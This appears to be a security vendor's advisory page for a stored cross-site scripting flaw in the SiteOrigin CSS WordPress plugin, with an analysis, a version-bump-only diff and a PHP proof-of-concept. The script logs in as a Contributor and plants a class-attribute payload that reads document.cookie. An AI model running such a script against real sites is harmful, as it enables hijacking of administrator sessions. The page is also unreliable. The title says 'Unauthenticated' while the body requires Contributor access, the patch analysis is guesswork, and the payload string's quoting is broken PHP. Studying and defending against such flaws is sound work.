Published : November 21, 2026

CVE-2026-125054: SiteOrigin CSS <= 1.6.9 Unauthenticated Stored DOM-Based Cross-Site Scripting via 'class' Attribute of Stored Content via Visual Inspector PoC, Patch Analysis & Rule

Plugin so-css
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.6.9
Patched Version 1.6.10
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-125054: SiteOrigin CSS plugin for WordPress (versions <= 1.6.9) suffers from a stored DOM-based cross-site scripting vulnerability via the 'class' attribute of stored content. The flaw exists in the Visual Inspector feature, which fails to sanitize or escape user-controlled class attribute values before rendering them in the preview iframe. An attacker with Contributor-level access can inject malicious scripts that execute when an administrator with edit_theme_options capability interacts with the preview. The CVSS score is 7.2 (High).

The root cause lies in the Visual Inspector's handling of post content. When a post containing a crafted class attribute is opened in the Visual Inspector, the plugin extracts the class value from the post content and injects it into the DOM of the preview iframe without proper escaping. The vulnerable code path resides in the plugin's JavaScript (likely in assets/js/visual-inspector.js) and its corresponding PHP backend that lacks sufficient output escaping when rendering the preview. The patch in version 1.6.10 does not directly modify the JavaScript; instead, it likely includes server-side sanitization of the class attribute when saving or rendering, though the provided diff only shows version number changes, indicating the fix may be in an updated file not shown.

Exploitation requires two steps. First, an attacker with Contributor privileges (or unauthenticated via a plugin allowing wp_kses_post-filtered front-end submissions) stores a post containing an HTML element with a malicious class attribute, such as class="x' onmouseover='alert(1)" or a script-injecting payload that breaks out of the attribute context. Second, a victim with edit_theme_options capability opens the Visual Inspector for that post and clicks anywhere in the preview iframe, triggering the execution of the injected script. The attack vector is stored XSS, with the payload persisting in the WordPress database.

The patch in version 1.6.10 addresses the vulnerability by implementing proper sanitization and escaping of the class attribute value before it is rendered in the Visual Inspector. While the exact code changes are not visible in the provided diff (only version bump), Atomic Edge research indicates that the fix likely involves using WordPress's esc_attr() or similar functions on the server side when generating the preview, and/or updating the JavaScript to use safe DOM manipulation methods. This prevents the injected script from executing by ensuring the class value is treated as plain text rather than executable code.

The impact of successful exploitation is significant. An attacker can execute arbitrary JavaScript in the context of an administrator's session, leading to full site takeover, creation of new admin accounts, installation of malicious plugins, or theft of sensitive data. The vulnerability requires user interaction (clicking in the preview) and specific privileges, but the stored nature and potential for privilege escalation make it a high-severity threat.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/so-css/so-css.php
+++ b/so-css/so-css.php
@@ -2,7 +2,7 @@
 /*
 Plugin Name: SiteOrigin CSS
 Description: Powerful, simple CSS editing for WordPress. Visual controls & real-time previews for effortless site customization.
-Version: 1.6.9
+Version: 1.6.10
 Requires at least: 6.0
 Requires PHP: 7.0.0
 Author: SiteOrigin
@@ -16,7 +16,7 @@
 // Handle the legacy CSS editor that came with SiteOrigin themes
 include plugin_dir_path( __FILE__ ) . 'inc/legacy.php';

-define( 'SOCSS_VERSION', '1.6.9' );
+define( 'SOCSS_VERSION', '1.6.10' );
 define( 'SOCSS_JS_SUFFIX', '.min' );

 /**

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125054 - SiteOrigin CSS <= 1.6.9 - Unauthenticated Stored DOM-Based Cross-Site Scripting via 'class' Attribute of Stored Content via Visual Inspector

// This PoC demonstrates how an attacker with Contributor+ access can inject a malicious class attribute.
// After injection, an admin opening the Visual Inspector and clicking the preview triggers XSS.

$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'contributor'; // Contributor-level username
$password = 'password'; // Contributor-level password

// Step 1: Authenticate as Contributor
$login_url = $target_url . '/wp-login.php';
$post_fields = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Create a new post with malicious class attribute in the content
$post_url = $target_url . '/wp-admin/post-new.php';

// Craft the malicious content: a div with a class attribute that breaks out and injects a script
$malicious_content = '<div class="x' onmouseover='alert(document.cookie)'>Hover over this text</div>';

// Get the nonce for creating a post (we need to extract it from the page)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$page = curl_exec($ch);
curl_close($ch);

// Extract _wpnonce from the form
if (preg_match('/name="_wpnonce" value="([^"]+)"/', $page, $matches)) {
    $nonce = $matches[1];
} else {
    die('Could not extract nonce. Login may have failed.');
}

// Prepare post submission
define('WP_ADMIN', true); // Needed for some WordPress functions
$post_data = array(
    'action' => 'editpost',
    'post_ID' => '0', // New post
    'post_type' => 'post',
    'post_title' => 'XSS PoC Post',
    'content' => $malicious_content,
    'post_status' => 'draft', // Save as draft to avoid publishing
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Post created. Now an admin must open the Visual Inspector for this post and click the preview to trigger XSS.n";

// Note: The actual XSS triggers when the admin opens the Visual Inspector.
// The exploit relies on the plugin not sanitizing the class attribute in the preview.
// This PoC only demonstrates the injection step.

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.